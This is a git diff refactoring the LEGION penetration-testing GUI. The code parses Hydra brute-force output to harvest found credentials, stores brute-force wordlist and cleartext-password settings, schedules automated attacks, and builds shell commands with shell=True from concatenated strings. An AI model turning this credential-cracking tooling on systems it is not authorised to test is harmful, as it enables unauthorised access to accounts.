console=False) log.setLevel(logging.INFO) + def timing(f): @wraps(f) def wrap(*args, **kw): ts = time() result = f(*args, **kw) te = time() - tr = te-ts + tr = te - ts log.debug('Function:%r args:[%r, %r] took: %2.4f sec' % (f.__name__, args, kw, tr)) return result + return wrap @@ -54,66 +61,34 @@ def sortArrayWithArray(array, arrayToSort): swap_test = False for j in range(0, len(array) - i - 1): if array[j] > array[j + 1]: - array[j], array[j + 1] = array[j + 1], array[j] # swap + array[j], array[j + 1] = array[j + 1], array[j] # swap arrayToSort[j], arrayToSort[j + 1] = arrayToSort[j + 1], arrayToSort[j] swap_test = True if swap_test == False: break + # converts an IP address to an integer (for the sort function) def IP2Int(ip): - ip = ip.split("/")[0] # bug fix: remove slash if it's a range + ip = ip.split("/")[0] # bug fix: remove slash if it's a range o = list(map(int, ip.split('.'))) res = (16777216 * o[0]) + (65536 * o[1]) + (256 * o[2]) + o[3] return res -# old function, replaced by isHttps (checking for https first is better) -def isHttp(url): - try: - headers = {} - headers['User-Agent'] = 'Mozilla/5.0 (X11; Linux x86_64; rv:22.0) Gecko/20100101 Firefox/22.0 Iceweasel/22.0' - req = request.Request(url, headers = headers) - r = request.urlopen(req, timeout=10).read() - #print 'response code: ' + str(r.code) - #print 'response content: ' + str(r.read()) - return True - - except urllib.error.URLError as e: - reason= str(e.reason) - if 'Unauthorized' in reason or 'Forbidden' in reason: - return True - return False - -def isHttps(ip, port): - try: - headers = {} - headers['User-Agent'] = 'Mozilla/5.0 (X11; Linux x86_64; rv:22.0) Gecko/20100101 Firefox/22.0 Iceweasel/22.0' - req = request.Request('https://'+ip+':'+str(port), headers = headers) - r = request.urlopen(req, timeout=5).read() - #print '\nresponse code: ' + str(r.code) - #print '\nresponse content: ' + str(r.read()) - return True - - except urllib.error.URLError as e: - reason = str(e.reason) - if 'Forbidden' in reason or 'certificate verify failed' in reason: - return True - return False - except ssl.CertificateError as e: - return True - def getTimestamp(human=False, local=False): t = time() if human: if local: - timestamp = datetime.datetime.fromtimestamp(t).strftime("%d %b %Y %H:%M:%S.%f").decode(locale.getlocale()[1]) + timestamp = datetime.datetime.fromtimestamp(t).strftime("%d %b %Y %H:%M:%S.%f").decode( + locale.getlocale()[1]) else: timestamp = datetime.fromtimestamp(t).strftime("%d %b %Y %H:%M:%S.%f") else: timestamp = datetime.fromtimestamp(t).strftime('%Y%m%d%H%M%S%f') return timestamp + # used by the settings dialog when a user cancels and the GUI needs to be reset def clearLayout(layout): if layout is not None: @@ -125,31 +100,32 @@ def clearLayout(layout): else: clearLayout(item.layout()) + # this function sets a table view's properties @timing -def setTableProperties(table, headersLen, hiddenColumnIndexes = []): - - table.verticalHeader().setVisible(False) # hide the row headers - table.setShowGrid(False) # hide the table grid - table.setSelectionBehavior(QtWidgets.QTableView.SelectRows) # select entire row instead of single cell - table.setSortingEnabled(True) # enable column sorting - table.horizontalHeader().setStretchLastSection(True) # header behaviour - table.horizontalHeader().setSortIndicatorShown(False) # hide sort arrow from column header - table.setWordWrap(False) # row behaviour +def setTableProperties(table, headersLen, hiddenColumnIndexes=[]): + table.verticalHeader().setVisible(False) # hide the row headers + table.setShowGrid(False) # hide the table grid + table.setSelectionBehavior(QtWidgets.QTableView.SelectRows) # select entire row instead of single cell + table.setSortingEnabled(True) # enable column sorting + table.horizontalHeader().setStretchLastSection(True) # header behaviour + table.horizontalHeader().setSortIndicatorShown(False) # hide sort arrow from column header + table.setWordWrap(False) # row behaviour table.resizeRowsToContents() - for i in range(0, headersLen): # reset all the hidden columns - table.setColumnHidden(i, False) + for i in range(0, headersLen): # reset all the hidden columns + table.setColumnHidden(i, False) - for i in hiddenColumnIndexes: # hide some columns + for i in hiddenColumnIndexes: # hide some columns table.setColumnHidden(i, True) - - table.setContextMenuPolicy(Qt.CustomContextMenu) # create the right-click context menu - + + table.setContextMenuPolicy(Qt.CustomContextMenu) # create the right-click context menu + + def checkHydraResults(output): usernames = [] passwords = [] - string = '\[[0-9]+\]\[[a-z-]+\].+' # when a password is found, the line contains [port#][plugin-name] + string = '\[[0-9]+\]\[[a-z-]+\].+' # when a password is found, the line contains [port#][plugin-name] results = re.findall(string, output, re.I) if results: for line in results: @@ -159,45 +135,48 @@ def checkHydraResults(output): usernames.append(login.group(2)) password = re.search('(password:[\s]*)([^\s]+)', line) if password: - #print 'Found password: ' + password.group(2) + # print 'Found password: ' + password.group(2) - passwords.append(password.group(2)) - return True, usernames, passwords # returns the lists of found usernames and passwords + passwords.append(password.group(2)) + return True, usernames, passwords # returns the lists of found usernames and passwords return False, [], [] + @timing def exportNmapToHTML(filename): try: - command = 'xsltproc -o ' + str(filename)+'.html ' + str(filename)+ '.xml' + command = 'xsltproc -o ' + str(filename) + '.html ' + str(filename) + '.xml' p = subprocess.Popen(command, shell=True) p.wait() - + except: log.info('Could not convert nmap XML to HTML. Try: apt-get install xsltproc') -# this class is used for example to store found usernames/passwords + +# this class is used for example to store found usernames/passwords class Wordlist(): - def __init__(self, filename): # needs full path + def __init__(self, filename): # needs full path self.filename = filename self.wordlist = [] - with open(filename, 'a+') as f: # open for appending + reading + with open(filename, 'a+') as f: # open for appending + reading self.wordlist = f.readlines() log.info('Wordlist was created/opened: ' + str(filename)) def setFilename(self, filename): self.filename = filename - + # adds a word to the wordlist (without duplicates) def add(self, word): with open(self.filename, 'a') as f: - if not word+'\n' in self.wordlist: - log.info('Adding '+word+' to the wordlist..') - self.wordlist.append(word+'\n') - f.write(word+'\n') + if not word + '\n' in self.wordlist: + log.info('Adding ' + word + ' to the wordlist..') + self.wordlist.append(word + '\n') + f.write(word + '\n') + # Custom QProcess class class MyQProcess(QProcess): - sigHydra = QtCore.pyqtSignal(QObject, list, list, name="hydra") # signal to indicate Hydra found stuff + sigHydra = QtCore.pyqtSignal(QObject, list, list, name="hydra") # signal to indicate Hydra found stuff def __init__(self, name, tabTitle, hostIp, port, protocol, command, startTime, outputfile, textbox): QProcess.__init__(self) @@ -206,33 +185,34 @@ def __init__(self, name, tabTitle, hostIp, port, protocol, command, startTime, o self.tabTitle = tabTitle self.hostIp = hostIp self.port = port - self.protocol = protocol + self.protocol = protocol self.command = command - self.startTime = startTime + self.startTime = startTime self.outputfile = outputfile - self.display = textbox # has its own display widget to be able to display its output in the GUI + self.display = textbox # has its own display widget to be able to display its output in the GUI self.elapsed = -1 - @pyqtSlot() # this slot allows the process to append its output to the display widget + @pyqtSlot() # this slot allows the process to append its output to the display widget def readStdOutput(self): output = str(self.readAllStandardOutput()) self.display.appendPlainText(unicode(output).strip()) - if self.name == 'hydra': # check if any usernames/passwords were found (if so emit a signal so that the gui can tell the user about it) + if self.name == 'hydra': # check if any usernames/passwords were found (if so emit a signal so that the gui can tell the user about it) found, userlist, passlist = checkHydraResults(output) - if found: # send the brutewidget object along with lists of found usernames/passwords + if found: # send the brutewidget object along with lists of found usernames/passwords self.sigHydra.emit(self.display.parentWidget(), userlist, passlist) - stderror = str(self.readAllStandardError()) + stderror = str(self.readAllStandardError()) if len(stderror) > 0: - self.display.appendPlainText(unicode(stderror).strip()) # append standard error too + self.display.appendPlainText(unicode(stderror).strip()) # append standard error too + # browser opener class with queue and semaphores class BrowserOpener(QtCore.QThread): - done = QtCore.pyqtSignal(name="done") # signals that we are done opening urls in browser + done = QtCore.pyqtSignal(name="done") # signals that we are done opening urls in browser log = QtCore.pyqtSignal(str, name="log") - + def __init__(self): QtCore.QThread.__init__(self, parent=None) self.urls = [] @@ -246,107 +226,51 @@ def addToQueue(self, url): def run(self): while self.processing == True: - self.sleep(1) # effectively a semaphore - - self.processing = True + self.sleep(1) # effectively a semaphore + + self.processing = True for i in range(0, len(self.urls)): try: url = self.urls.pop(0) self.tsLog('Opening url in browser: ' + url) - if isHttps(url.split(':')[0],url.split(':')[1]): + if isHttps(url.split(':')[0], url.split(':')[1]): webbrowser.open_new_tab('https://' + url) else: webbrowser.open_new_tab('http://' + url) if i == 0: - self.sleep(3) # fixes bug in Kali. have to sleep on first url so the next ones don't open a new browser instead of adding a new tab + self.sleep( + 3) # fixes bug in Kali. have to sleep on first url so the next ones don't open a new browser instead of adding a new tab else: - self.sleep(1) # fixes bug when several calls to urllib occur too fast (interrupted system call) - + self.sleep(1) # fixes bug when several calls to urllib occur too fast (interrupted system call) + except: self.tsLog('Problem while opening url in browser. Moving on..') continue - + self.processing = False - if not len(self.urls) == 0: # if meanwhile urls were added to the queue, start over + if not len(self.urls) == 0: # if meanwhile urls were added to the queue, start over self.run() else: self.done.emit() -class Screenshooter(QtCore.QThread): - done = QtCore.pyqtSignal(str, str, str, name="done") # signal sent after each individual screenshot is taken - log = QtCore.pyqtSignal(str, name="log") - - def __init__(self, timeout): - QtCore.QThread.__init__(self, parent=None) - self.urls = [] - self.processing = False - self.timeout = timeout # screenshooter timeout (ms) - - def tsLog(self, msg): - self.log.emit(str(msg)) - - def addToQueue(self, url): - self.urls.append(url) - - # this function should be called when the project is saved/saved as as the tool-output folder changes - def updateOutputFolder(self, screenshotsFolder): - self.outputfolder = screenshotsFolder - - def run(self): - - while self.processing == True: - self.sleep(1) # effectively a semaphore - - self.processing = True - - for i in range(0, len(self.urls)): - try: - url = self.urls.pop(0) - outputfile = getTimestamp()+'-screenshot-'+url.replace(':', '-')+'.png' - ip = url.split(':')[0] - port = url.split(':')[1] - - if isHttps(ip,port): - self.save("https://"+url, ip, port, outputfile) - else: - self.save("http://"+url, ip, port, outputfile) - - except Exception as e: - self.tsLog('Unable to take the screenshot. Moving on..') - self.tsLog(e) - continue - - self.processing = False - - if not len(self.urls) == 0: # if meanwhile urls were added to the queue, start over unless we are in pause mode - self.run() - - self.tsLog('Finished.') - - def save(self, url, ip, port, outputfile): - self.tsLog('Saving screenshot as: '+str(outputfile)) - command = 'xvfb-run --server-args="-screen 0:0, 1024x768x24" /usr/bin/cutycapt --url="{url}/" --max-wait=5000 --out="{outputfolder}/{outputfile}"'.format(url=url, outputfolder=self.outputfolder, outputfile=outputfile) - p = subprocess.Popen(command, shell=True) - p.wait() # wait for command to finish - self.done.emit(ip,port,outputfile) # send a signal to add the 'process' to the DB # This class handles what is to be shown in each panel class Filters(): def __init__(self): - # host filters + # host filters self.checked = True self.up = True self.down = False - # port/service filters + # port/service filters self.tcp = True self.udp = True self.portopen = True self.portclosed = False self.portfiltered = False self.keywords = [] - + @timing - def apply(self, up, down, checked, portopen, portfiltered, portclosed, tcp, udp, keywords = []): + def apply(self, up, down, checked, portopen, portfiltered, portclosed, tcp, udp, keywords=[]): self.checked = checked self.up = up self.down = down @@ -364,7 +288,8 @@ def setKeywords(self, keywords): @timing def getFilters(self): - return [self.up, self.down, self.checked, self.portopen, self.portfiltered, self.portclosed, self.tcp, self.udp, self.keywords] + return [self.up, self.down, self.checked, self.portopen, self.portfiltered, self.portclosed, self.tcp, self.udp, + self.keywords] @timing def display(self): @@ -383,51 +308,39 @@ def display(self): ### VALIDATION FUNCTIONS ### -# TODO: should probably be moved to a new file called validation.py +# TODO: should probably be moved to a new file called test_validation.py -def sanitise(string): # this function makes a string safe for use in sql query. the main point is to prevent us from breaking, not so much SQLi as such. - s = string.replace('\'', '\'\'') - return s - -def validateNmapInput(text): # validate nmap input entered in Add Hosts dialog +def validateNmapInput(text): # validate nmap input entered in Add Hosts dialog if re.search('[^a-zA-Z0-9\.\/\-\s]', text) is not None: return False return True -def validateCredentials(text): - return True - -def validateCommandFormat(text): # used by settings dialog to validate commands + +def validateCommandFormat(text): # used by settings dialog to validate commands if text is not '' and text is not ' ': return True return False -def validateNumeric(text): # only allows numbers + +def validateNumeric(text): # only allows numbers if text.isdigit(): return True return False -def validateString(text): # only allows alphanumeric characters, '_' and '-' + +def validateString(text): # only allows alphanumeric characters, '_' and '-' if text is not '' and re.search("[^A-Za-z0-9_-]+", text) is None: return True return False -def validateStringWithSpace(text): # only allows alphanumeric characters, '_', '-' and space + +def validateStringWithSpace(text): # only allows alphanumeric characters, '_', '-' and space if text is not '' and re.search("[^A-Za-z0-9_() -]+", text) is None: return True return False -def validateNmapPorts(text): # only allows alphanumeric characters and the following: ./-'"*,:[any kind of space] + +def validateNmapPorts(text): # only allows alphanumeric characters and the following: ./-'"*,:[any kind of space] if re.search('[^a-zA-Z0-9\.\/\-\'\"\*\,\:\s]', text) is not None: return False return True - -def validatePath(text): # only allows valid paths which exist in the OS - if os.path.isdir(text): - return True - return False - -def validateFile(text): # only allows valid files which exist in the OS - if os.path.isfile(text): - return True - return False diff --git a/app/http/__init__.py b/app/http/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/app/http/isHttps.py b/app/http/isHttps.py new file mode 100644 index 00000000..61d94dbf --- /dev/null +++ b/app/http/isHttps.py @@ -0,0 +1,41 @@ +""" +LEGION (https://govanguard.io) +Copyright (c) 2018 GoVanguard + + This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public + License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later + version. + + This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied + warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + details. + + You should have received a copy of the GNU General Public License along with this program. + If not, see . + +Author(s): Dmitriy Dubson (d.dubson@gmail.com) +""" +import ssl + + +def defaultUserAgent() -> str: + return "Mozilla/5.0 (X11; Linux x86_64; rv:22.0) Gecko/20100101 Firefox/22.0 Iceweasel/22.0" + + +def isHttps(ip, port) -> bool: + from urllib.error import URLError + try: + from urllib.request import Request, urlopen + headers = {"User-Agent": defaultUserAgent()} + req = Request(f"https://{ip}:{port}", headers=headers) + urlopen(req, timeout=5).read() + return True + except URLError as e: + reason = str(e.reason) + print("urlerror" + reason) + if 'Forbidden' in reason or 'certificate verify failed' in reason: + return True + return False + except ssl.CertificateError: + print("ssl") + return True diff --git a/app/importers/NmapImporter.py b/app/importers/NmapImporter.py index ca858931..960a5c01 100644 --- a/app/importers/NmapImporter.py +++ b/app/importers/NmapImporter.py @@ -19,6 +19,7 @@ from PyQt5 import QtCore +from app.actions.updateProgress import AbstractUpdateProgressObservable from db.entities.host import hostObj from db.entities.l1script import l1ScriptObj from db.entities.nmapSession import nmapSessionObj @@ -26,8 +27,9 @@ from db.entities.os import osObj from db.entities.port import portObj from db.entities.service import serviceObj +from db.repositories.HostRepository import HostRepository from parsers.Parser import Parser -from ui.ancillaryDialog import ProgressWidget, time +from ui.ancillaryDialog import time class NmapImporter(QtCore.QThread): @@ -36,10 +38,11 @@ class NmapImporter(QtCore.QThread): schedule = QtCore.pyqtSignal(object, bool, name="schedule") # New style signal log = QtCore.pyqtSignal(str, name="log") - def __init__(self): + def __init__(self, updateProgressObservable: AbstractUpdateProgressObservable, hostRepository: HostRepository): QtCore.QThread.__init__(self, parent=None) self.output = '' - self.importProgressWidget = ProgressWidget('Importing nmap..') + self.updateProgressObservable = updateProgressObservable + self.hostRepository = hostRepository def tsLog(self, msg): self.log.emit(str(msg)) @@ -53,10 +56,10 @@ def setFilename(self, filename): def setOutput(self, output): self.output = output - def run( - self): # it is necessary to get the qprocess because we need to send it back to the scheduler when we're done importing + # it is necessary to get the qprocess because we need to send it back to the scheduler when we're done importing + def run(self): try: - self.importProgressWidget.show() + self.updateProgressObservable.start() session = self.db.session() self.tsLog("Parsing nmap xml file: " + self.filename) startTime = time() @@ -75,20 +78,21 @@ def run( n = nmapSessionObj(self.filename, s.startTime, s.finish_time, s.nmapVersion, s.scanArgs, s.totalHosts, s.upHosts, s.downHosts) session.add(n) - hostCount = len(parser.getAllHosts()) + + allHosts = parser.getAllHosts() + hostCount = len(allHosts) if hostCount == 0: # to fix a division by zero if we ran nmap on one host hostCount = 1 totalprogress = 0 - self.importProgressWidget.setProgress(int(totalprogress)) - self.importProgressWidget.show() + self.updateProgressObservable.updateProgress(totalprogress) createProgress = 0 createOsNodesProgress = 0 createPortsProgress = 0 - for h in parser.getAllHosts(): # create all the hosts that need to be created - db_host = session.query(hostObj).filter_by(ip=h.ip).first() + for h in allHosts: # create all the hosts that need to be created + db_host = self.hostRepository.getHostInformation(h.ip) if not db_host: # if host doesn't exist in DB, create it first hid = hostObj(osMatch='', osAccuracy='', ip=h.ip, ipv4=h.ipv4, ipv6=h.ipv6, macaddr=h.macaddr, @@ -103,15 +107,14 @@ def run( createProgress = createProgress + ((100.0 / hostCount) / 5) totalprogress = totalprogress + createProgress - self.importProgressWidget.setProgress(int(totalprogress)) - self.importProgressWidget.show() + self.updateProgressObservable.updateProgress(int(totalprogress)) session.commit() - for h in parser.getAllHosts(): # create all OS, service and port objects that need to be created + for h in allHosts: # create all OS, service and port objects that need to be created self.tsLog("Processing h {ip}".format(ip=h.ip)) - db_host = session.query(hostObj).filter_by(ip=h.ip).first() + db_host = self.hostRepository.getHostInformation(h.ip) if db_host: self.tsLog("Found db_host during os/ports/service processing") else: @@ -132,8 +135,7 @@ def run( createOsNodesProgress = createOsNodesProgress + ((100.0 / hostCount) / 5) totalprogress = totalprogress + createOsNodesProgress - self.importProgressWidget.setProgress(int(totalprogress)) - self.importProgressWidget.show() + self.updateProgressObservable.updateProgress(int(totalprogress)) session.commit() @@ -171,16 +173,15 @@ def run( # print('FOUND port *************** portid={0}'.format(db_port.portId)) createPortsProgress = createPortsProgress + ((100.0 / hostCount) / 5) totalprogress = totalprogress + createPortsProgress - self.importProgressWidget.setProgress(totalprogress) - self.importProgressWidget.show() + self.updateProgressObservable.updateProgress(totalprogress) session.commit() # totalprogress += progress # self.tick.emit(int(totalprogress)) - for h in parser.getAllHosts(): # create all script objects that need to be created - db_host = session.query(hostObj).filter_by(ip=h.ip).first() + for h in allHosts: # create all script objects that need to be created + db_host = self.hostRepository.getHostInformation(h.ip) for p in h.all_ports(): for scr in p.getScripts(): @@ -205,9 +206,9 @@ def run( session.commit() - for h in parser.getAllHosts(): # update everything + for h in allHosts: # update everything - db_host = session.query(hostObj).filter_by(ip=h.ip).first() + db_host = self.hostRepository.getHostInformation(h.ip) if db_host.ipv4 == '' and not h.ipv4 == '': db_host.ipv4 = h.ipv4 @@ -260,14 +261,14 @@ def run( for scr in h.getHostScripts(): print("-----------------------Host SCR: {0}".format(scr.scriptId)) - db_host = session.query(hostObj).filter_by(ip=h.ip).first() + db_host = self.hostRepository.getHostInformation(h.ip) scrProcessorResults = scr.scriptSelector(db_host) for scrProcessorResult in scrProcessorResults: session.add(scrProcessorResult) for scr in h.getScripts(): print("-----------------------SCR: {0}".format(scr.scriptId)) - db_host = session.query(hostObj).filter_by(ip=h.ip).first() + db_host = self.hostRepository.getHostInformation(h.ip) scrProcessorResults = scr.scriptSelector(db_host) for scrProcessorResult in scrProcessorResults: session.add(scrProcessorResult) @@ -303,17 +304,16 @@ def run( session.add(db_script) - totalprogress = 100 - self.importProgressWidget.setProgress(int(totalprogress)) - self.importProgressWidget.show() + self.updateProgressObservable.updateProgress(100) session.commit() self.db.dbsemaphore.release() # we are done with the DB - self.tsLog('Finished in ' + str(time() - startTime) + ' seconds.') + self.tsLog(f"Finished in {str(time() - startTime)} seconds.") self.done.emit() - self.importProgressWidget.hide() - self.schedule.emit(parser, - self.output == '') # call the scheduler (if there is no terminal output it means we imported nmap) + self.updateProgressObservable.finished() + + # call the scheduler (if there is no terminal output it means we imported nmap) + self.schedule.emit(parser, self.output == '') except Exception as e: self.tsLog('Something went wrong when parsing the nmap file..') diff --git a/app/importers/PythonImporter.py b/app/importers/PythonImporter.py index 77090527..bf1d9487 100644 --- a/app/importers/PythonImporter.py +++ b/app/importers/PythonImporter.py @@ -19,7 +19,7 @@ from db.entities.host import hostObj from scripts.python import pyShodan -from ui.ancillaryDialog import ProgressWidget, time +from ui.ancillaryDialog import time class PythonImporter(QtCore.QThread): @@ -34,7 +34,6 @@ def __init__(self): self.hostIp = '' self.pythonScriptDispatch = {'pyShodan': pyShodan.PyShodanScript()} self.pythonScriptObj = None - self.importProgressWidget = ProgressWidget('Importing shodan data..') def tsLog(self, msg): self.log.emit(str(msg)) diff --git a/app/logic.py b/app/logic.py index 3c6a73f3..d8f768f1 100644 --- a/app/logic.py +++ b/app/logic.py @@ -33,7 +33,7 @@ class Logic: - def __init__(self, project_name: str, db: Database, shell: Shell): + def __init__(self, project_name: str, db: Database, shell: Shell, hostRepository: HostRepository): self.shell = shell self.db = db self.cwd = shell.get_current_working_directory() @@ -42,7 +42,7 @@ def __init__(self, project_name: str, db: Database, shell: Shell): self.createTemporaryFiles() # creates temporary files/folders used by SPARTA self.serviceRepository: ServiceRepository = ServiceRepository(self.db) self.processRepository: ProcessRepository = ProcessRepository(self.db, log) - self.hostRepository: HostRepository = HostRepository(self.db) + self.hostRepository: HostRepository = hostRepository self.portRepository: PortRepository = PortRepository(self.db) self.cveRepository: CVERepository = CVERepository(self.db) self.noteRepository: NoteRepository = NoteRepository(self.db, log) diff --git a/app/settings.py b/app/settings.py index 2bb98378..d4d87908 100644 --- a/app/settings.py +++ b/app/settings.py @@ -13,7 +13,8 @@ import sys, os from PyQt5 import QtWidgets, QtGui, QtCore -from app.auxiliary import * # for timestamp +from app.auxiliary import * # for timestamp + # this class reads and writes application settings class AppSettings(): @@ -27,108 +28,78 @@ def __init__(self): self.actions = QtCore.QSettings('./legion.conf', QtCore.QSettings.NativeFormat) def getGeneralSettings(self): - settings = dict() - self.actions.beginGroup('GeneralSettings') - keys = self.actions.childKeys() - for k in keys: - settings.update({str(k):str(self.actions.value(k))}) - self.actions.endGroup() - return settings - + return self.getSettingsByGroup("GeneralSettings") + def getBruteSettings(self): - settings = dict() - self.actions.beginGroup('BruteSettings') - keys = self.actions.childKeys() - for k in keys: - settings.update({str(k):str(self.actions.value(k))}) - self.actions.endGroup() - return settings + return self.getSettingsByGroup("BruteSettings") def getStagedNmapSettings(self): - settings = dict() - self.actions.beginGroup('StagedNmapSettings') - keys = self.actions.childKeys() - for k in keys: - settings.update({str(k):str(self.actions.value(k))}) - self.actions.endGroup() - return settings + return self.getSettingsByGroup('StagedNmapSettings') def getToolSettings(self): - settings = dict() - self.actions.beginGroup('ToolSettings') - keys = self.actions.childKeys() - for k in keys: - settings.update({str(k):str(self.actions.value(k))}) - self.actions.endGroup() - return settings + return self.getSettingsByGroup('ToolSettings') def getGUISettings(self): - settings = dict() - self.actions.beginGroup('GUISettings') - keys = self.actions.childKeys() - for k in keys: - settings.update({str(k):str(self.actions.value(k))}) - self.actions.endGroup() - return settings + return self.getSettingsByGroup('GUISettings') - # this function fetches all the host actions from the settings file def getHostActions(self): + self.actions.beginGroup('HostActions') hostactions = [] sortArray = [] - self.actions.beginGroup('HostActions') keys = self.actions.childKeys() for k in keys: hostactions.append([self.actions.value(k)[0], str(k), self.actions.value(k)[1]]) sortArray.append(self.actions.value(k)[0]) self.actions.endGroup() - sortArrayWithArray(sortArray, hostactions) # sort by label so that it appears nicely in the context menu + sortArrayWithArray(sortArray, hostactions) # sort by label so that it appears nicely in the context menu return hostactions - # this function fetches all the port actions from the settings file + # this function fetches all the host actions from the settings file def getPortActions(self): + self.actions.beginGroup('PortActions') portactions = [] sortArray = [] - self.actions.beginGroup('PortActions') keys = self.actions.childKeys() for k in keys: portactions.append([self.actions.value(k)[0], str(k), self.actions.value(k)[1], self.actions.value(k)[2]]) sortArray.append(self.actions.value(k)[0]) - self.actions.endGroup() - sortArrayWithArray(sortArray, portactions) # sort by label so that it appears nicely in the context menu + self.actions.endGroup() + sortArrayWithArray(sortArray, portactions) # sort by label so that it appears nicely in the context menu return portactions - # this function fetches all the port actions that will be run as terminal commands from the settings file + # this function fetches all the port actions from the settings file def getPortTerminalActions(self): + self.actions.beginGroup('PortTerminalActions') portactions = [] sortArray = [] - self.actions.beginGroup('PortTerminalActions') keys = self.actions.childKeys() for k in keys: portactions.append([self.actions.value(k)[0], str(k), self.actions.value(k)[1], self.actions.value(k)[2]]) sortArray.append(self.actions.value(k)[0]) self.actions.endGroup() - sortArrayWithArray(sortArray, portactions) # sort by label so that it appears nicely in the context menu + sortArrayWithArray(sortArray, portactions) # sort by label so that it appears nicely in the context menu return portactions + # this function fetches all the port actions that will be run as terminal commands from the settings file def getSchedulerSettings(self): settings = [] self.actions.beginGroup('SchedulerSettings') keys = self.actions.childKeys() for k in keys: - settings.append([str(k),self.actions.value(k)[0],self.actions.value(k)[1]]) + settings.append([str(k), self.actions.value(k)[0], self.actions.value(k)[1]]) self.actions.endGroup() return settings - def getSchedulerSettings_old(self): + def getSettingsByGroup(self, name: str) -> dict: + self.actions.beginGroup(name) settings = dict() - self.actions.beginGroup('SchedulerSettings') keys = self.actions.childKeys() for k in keys: - settings.update({str(k):str(self.actions.value(k))}) + settings.update({str(k): str(self.actions.value(k))}) self.actions.endGroup() return settings - - def backupAndSave(self, newSettings, saveBackup = True): + + def backupAndSave(self, newSettings, saveBackup=True): # Backup and save if saveBackup: log.info('Backing up old settings and saving new settings...') @@ -139,22 +110,22 @@ def backupAndSave(self, newSettings, saveBackup = True): self.actions = QtCore.QSettings('./legion.conf', QtCore.QSettings.NativeFormat) self.actions.beginGroup('GeneralSettings') - self.actions.setValue('default-terminal',newSettings.general_default_terminal) - self.actions.setValue('tool-output-black-background',newSettings.general_tool_output_black_background) - self.actions.setValue('screenshooter-timeout',newSettings.general_screenshooter_timeout) - self.actions.setValue('web-services',newSettings.general_web_services) - self.actions.setValue('enable-scheduler',newSettings.general_enable_scheduler) - self.actions.setValue('enable-scheduler-on-import',newSettings.general_enable_scheduler_on_import) + self.actions.setValue('default-terminal', newSettings.general_default_terminal) + self.actions.setValue('tool-output-black-background', newSettings.general_tool_output_black_background) + self.actions.setValue('screenshooter-timeout', newSettings.general_screenshooter_timeout) + self.actions.setValue('web-services', newSettings.general_web_services) + self.actions.setValue('enable-scheduler', newSettings.general_enable_scheduler) + self.actions.setValue('enable-scheduler-on-import', newSettings.general_enable_scheduler_on_import) self.actions.setValue('max-fast-processes', newSettings.general_max_fast_processes) self.actions.setValue('max-slow-processes', newSettings.general_max_slow_processes) self.actions.endGroup() - + self.actions.beginGroup('BruteSettings') - self.actions.setValue('store-cleartext-passwords-on-exit',newSettings.brute_store_cleartext_passwords_on_exit) - self.actions.setValue('username-wordlist-path',newSettings.brute_username_wordlist_path) - self.actions.setValue('password-wordlist-path',newSettings.brute_password_wordlist_path) - self.actions.setValue('default-username',newSettings.brute_default_username) - self.actions.setValue('default-password',newSettings.brute_default_password) + self.actions.setValue('store-cleartext-passwords-on-exit', newSettings.brute_store_cleartext_passwords_on_exit) + self.actions.setValue('username-wordlist-path', newSettings.brute_username_wordlist_path) + self.actions.setValue('password-wordlist-path', newSettings.brute_password_wordlist_path) + self.actions.setValue('default-username', newSettings.brute_default_username) + self.actions.setValue('default-password', newSettings.brute_default_password) self.actions.setValue('services', newSettings.brute_services) self.actions.setValue('no-username-services', newSettings.brute_no_username_services) self.actions.setValue('no-password-services', newSettings.brute_no_password_services) @@ -200,9 +171,10 @@ def backupAndSave(self, newSettings, saveBackup = True): for tool in newSettings.automatedAttacks: self.actions.setValue(tool[0], [tool[1], tool[2]]) self.actions.endGroup() - + self.actions.sync() + # This class first sets all the default settings and then overwrites them with the settings found in the configuration file class Settings(): def __init__(self, appSettings=None): @@ -248,7 +220,7 @@ def __init__(self, appSettings=None): self.portTerminalActions = [] self.stagedNmapSettings = [] self.automatedAttacks = [] - + # now that all defaults are set, overwrite with whatever was in the .conf file (stored in appSettings) if appSettings: try: @@ -261,7 +233,7 @@ def __init__(self, appSettings=None): self.portActions = appSettings.getPortActions() self.portTerminalActions = appSettings.getPortTerminalActions() self.automatedAttacks = appSettings.getSchedulerSettings() - + # general self.general_default_terminal = self.generalSettings['default-terminal'] self.general_tool_output_black_background = self.generalSettings['tool-output-black-background'] @@ -300,15 +272,17 @@ def __init__(self, appSettings=None): self.gui_process_tab_detail = self.guiSettings['process-tab-detail'] except KeyError as e: - log.info('Something went wrong while loading the configuration file. Falling back to default settings for some settings.') + log.info( + 'Something went wrong while loading the configuration file. Falling back to default settings for some settings.') log.info('Go to the settings menu to fix the issues!') log.error(str(e)) - def __eq__(self, other): # returns false if settings objects are different + def __eq__(self, other): # returns false if settings objects are different if type(other) is type(self): return self.__dict__ == other.__dict__ return False + if __name__ == "__main__": settings = AppSettings() s = Settings(settings) diff --git a/app/shell/DefaultShell.py b/app/shell/DefaultShell.py index 1a11bf32..9959872e 100644 --- a/app/shell/DefaultShell.py +++ b/app/shell/DefaultShell.py @@ -24,3 +24,9 @@ def create_temporary_directory(self, prefix: str, suffix: str, directory: str): def create_named_temporary_file(self, prefix: str, suffix: str, directory: str, delete_on_close: bool): return tempfile.NamedTemporaryFile(prefix=prefix, suffix=suffix, dir=directory, delete=delete_on_close) + + def isDirectory(self, name: str) -> bool: + return os.path.isdir(name) + + def isFile(self, name: str) -> bool: + return os.path.isfile(name) diff --git a/app/shell/Shell.py b/app/shell/Shell.py index 10e5ee6f..7e8fd4f5 100644 --- a/app/shell/Shell.py +++ b/app/shell/Shell.py @@ -25,3 +25,11 @@ def create_directory_recursively(self, directory: str): @abstractmethod def create_named_temporary_file(self, prefix: str, suffix: str, directory: str, delete_on_close: bool): pass + + @abstractmethod + def isDirectory(self, name: str) -> bool: + pass + + @abstractmethod + def isFile(self, name: str) -> bool: + pass diff --git a/controller/controller.py b/controller/controller.py index bbe387d8..847de91f 100644 --- a/controller/controller.py +++ b/controller/controller.py @@ -13,8 +13,12 @@ import signal # for file operations, to kill processes, for regex, for subprocesses +from app.Screenshooter import Screenshooter +from app.actions.updateProgress.UpdateProgressObservable import UpdateProgressObservable +from db.repositories.HostRepository import HostRepository from app.importers.NmapImporter import NmapImporter from app.importers.PythonImporter import PythonImporter +from ui.observers.QtUpdateProgressObserver import QtUpdateProgressObserver try: import queue @@ -24,11 